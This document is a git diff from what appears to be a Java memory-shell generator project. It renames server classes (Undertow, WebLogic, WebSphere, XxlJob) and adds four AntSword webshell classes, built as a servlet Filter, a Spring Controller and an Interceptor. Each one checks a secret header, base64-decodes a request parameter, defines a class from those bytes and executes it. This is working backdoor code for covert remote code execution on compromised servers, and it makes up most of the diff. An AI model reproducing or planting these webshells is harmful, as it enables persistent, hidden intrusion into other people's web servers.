 import com.reajason.javaweb.memshell.injector.undertow.UndertowServletHandlerAgentInjector;
 import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
-import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
-import net.bytebuddy.implementation.bytecode.assign.Assigner;
 
 import java.util.Map;
 
@@ -16,7 +15,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/10
  */
-public class UndertowShell extends AbstractShell {
+public class Undertow extends AbstractServer {
 
     public static class ListenerInterceptor {
 

generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogic.java

@@ -11,11 +11,11 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/24
  */
-public class WebLogicShell extends AbstractShell {
+public class WebLogic extends AbstractServer {
 
     @Override
     public Class<?> getListenerInterceptor() {
-        return TomcatShell.ListenerInterceptor.class;
+        return Tomcat.ListenerInterceptor.class;
     }
 
     @Override

generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphere.java

@@ -4,9 +4,8 @@ import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgen
 import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
 import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
 import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
-import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
-import net.bytebuddy.implementation.bytecode.assign.Assigner;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -14,7 +13,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/21
  */
-public class WebSphereShell extends AbstractShell {
+public class WebSphere extends AbstractServer {
 
     public static class ListenerInterceptor {
 

generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJob.java

@@ -8,7 +8,7 @@ import static com.reajason.javaweb.memshell.ShellType.NETTY_HANDLER;
  * @author ReaJason
  * @since 2025/1/21
  */
-public class XxlJobShell extends AbstractShell {
+public class XxlJob extends AbstractServer {
 
     @Override
     public InjectorMapping getShellInjectorMapping() {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java

@@ -0,0 +1,76 @@
+package com.reajason.javaweb.memshell.shelltool.antsword;
+
+import java.lang.reflect.Field;
+
+/**
+ * @author ReaJason
+ */
+public class AntSword extends ClassLoader {
+
+    public static String pass;
+    public static String headerName;
+    public static String headerValue;
+
+    public AntSword() {
+    }
+
+    public AntSword(ClassLoader c) {
+        super(c);
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        Object[] args = ((Object[]) obj);
+        Object request = unwrap(args[0], "request");
+        Object response = unwrap(args[1], "response");
+        try {
+            String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
+            if (value != null && value.contains(headerValue)) {
+                String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
+                byte[] bytes = base64Decode(parameter);
+                Object instance = (new AntSword(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
+                instance.equals(new Object[]{request, response});
+                return true;
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        ClassLoader loader = Thread.currentThread().getContextClassLoader();
+        try {
+            Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public Object unwrap(Object obj, String fieldName) {
+        try {
+            return getFieldValue(obj, fieldName);
+        } catch (Throwable e) {
+            return obj;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordControllerHandler.java

@@ -0,0 +1,48 @@
+package com.reajason.javaweb.memshell.shelltool.antsword;
+
+import org.springframework.web.servlet.ModelAndView;
+import org.springframework.web.servlet.mvc.Controller;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+/**
+ * @author ReaJason
+ * @since 2025/02/18
+ */
+public class AntSwordControllerHandler extends ClassLoader implements Controller {
+    public static String pass;
+    public static String headerName;
+    public static String headerValue;
+
+    public AntSwordControllerHandler() {
+    }
+
+    public AntSwordControllerHandler(ClassLoader c) {
+        super(c);
+    }
+
+    public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
+        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+            try {
+                byte[] bytes = base64Decode(request.getParameter(pass));
+                Object instance = (new AntSwordControllerHandler(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
+                instance.equals(new Object[]{request, response});
+            } catch (Throwable e) {
+                e.printStackTrace();
+            }
+        }
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java

@@ -0,0 +1,61 @@
+package com.reajason.javaweb.memshell.shelltool.antsword;
+
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/02/18
+ */
+public class AntSwordFilter extends ClassLoader implements Filter {
+    public static String pass;
+    public static String headerName;
+    public static String headerValue;
+
+    public AntSwordFilter() {
+    }
+
+    public AntSwordFilter(ClassLoader c) {
+        super(c);
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+        try {
+            if (request.getHeader(this.headerName) != null
+                    && request.getHeader(this.headerName).contains(this.headerValue)) {
+                byte[] bytes = base64Decode(request.getParameter(pass));
+                Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
+                instance.equals(new Object[]{request, response});
+                return;
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+        filterChain.doFilter(servletRequest, servletResponse);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+    }
+
+    @Override
+    public void destroy() {
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordInterceptor.java

@@ -0,0 +1,66 @@
+package com.reajason.javaweb.memshell.shelltool.antsword;
+
+import org.springframework.web.servlet.AsyncHandlerInterceptor;
+import org.springframework.web.servlet.ModelAndView;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+/**
+ * @author ReaJason
+ * @since 2025/02/18
+ */
+public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
+    public static String pass;
+    public static String headerName;
+    public static String headerValue;
+
+    public AntSwordInterceptor() {
+    }
+
+    public AntSwordInterceptor(ClassLoader c) {
+        super(c);
+    }
+
+    @Override
+    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
+        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+            try {
+                byte[] bytes = base64Decode(request.getParameter(pass));
+                Object instance = (new AntSwordInterceptor(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
+                instance.equals(new Object[]{request, response});
+            } catch (Throwable e) {
+                e.printStackTrace();
+            }
+            return false;
+        } else {
+            return true;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+
+    @Override
+    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
+
+    }
+
+    @Override
+    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
+
+    }
+
+    @Override
+    public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
+
+    }
+}